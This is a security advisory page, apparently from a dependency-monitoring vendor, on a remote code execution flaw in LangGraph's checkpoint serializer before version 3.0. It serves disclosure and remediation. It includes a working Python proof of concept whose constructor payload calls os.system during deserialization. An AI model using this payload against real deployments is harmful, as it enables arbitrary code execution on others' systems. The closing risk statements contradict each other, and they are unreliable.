Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
PYSEC-2026-1527
No affected components available
Summary
Prior to langgraph-checkpoint version 3.0 , LangGraph’s JsonPlusSerializer (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the "json" serialization mode.
If an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization.
Upgrading to version langgraph-checkpoint 3.0 patches this vulnerability by preventing deserialization of custom objects saved in this mode.
If you are deploying in langgraph-api, any version 0.5 or later is also free of this vulnerability.
Details
Affected file / component
By default, the serializer attempts to use "msgpack" for serialization. However, prior to version 3.0 of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the "json" mode.
When operating in this mode, the deserializer supports a constructor-style format (lc == 2, type == "constructor") for custom objects to allow them to be reconstructed at load time. If an attacker is able to trigger this mode with a malicious payload, deserializing allow the attacker to execute arbitrary functions upon load.
Who is affected
This issue affects all users of langgraph-checkpoint versions earlier than 3.0 who:
- Allow untrusted or user-supplied data to be persisted into checkpoints, and
- Use the default serializer (or explicitly instantiate
JsonPlusSerializer) that may fall back to"json"mode.
If your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced.
Proof of Concept (PoC)
from langgraph.graph import StateGraph
from typing import TypedDict
from langgraph.checkpoint.sqlite import SqliteSaver
class State(TypedDict):
foo: str
attack: dict
def my_node(state: State):
return {"foo": "oops i fetched a surrogate \ud800"}
with SqliteSaver.from_conn_string("foo.db") as saver:
graph = (
StateGraph(State).
add_node("my_node", my_node).
add_edge("__start__", "my_node").
compile(checkpointer=saver)
)
attack = {
"lc": 2,
"type": "constructor",
"id": ["os", "system"],
"kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"},
}
malicious_payload = {
"attack": attack,
}
thread_id = "00000000-0000-0000-0000-000000000001"
config = {"thread_id": thread_id}
# Malicious payload is saved in the first call
graph.invoke(malicious_payload, config=config)
# Malicious payload is deserialized and code is executed in the second call
graph.invoke({"foo": "hi there"}, config=config)
Running this PoC writes a file /tmp/pwnd.txt to disk, demonstrating code execution.
Internally, this exploits the following code path:
from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer
serializer = JsonPlusSerializer() # Used within the checkpointer
serialized = serializer.dumps_typed(malicious_payload)
serializer.loads_typed(serialized) # Executes os.system(...)
Fixed Version
The vulnerability is fixed in langgraph-checkpoint==3.0.0
Release link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0
Fix Description
The fix introduces an allow-list for constructor deserialization, restricting permissible "id" paths to explicitly approved module/class combinations provided at serializer construction.
Additionally, saving payloads in "json" format has been deprecated to remove this unsafe fallback path.
Mitigation
Upgrade immediately to langgraph-checkpoint==3.0.0.
This version is fully compatible with langgraph>=0.3 and does not require any import changes or code modifications.
In langgraph-api, updating to 0.5 or later will automatically require the patched version of the checkpointer library.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard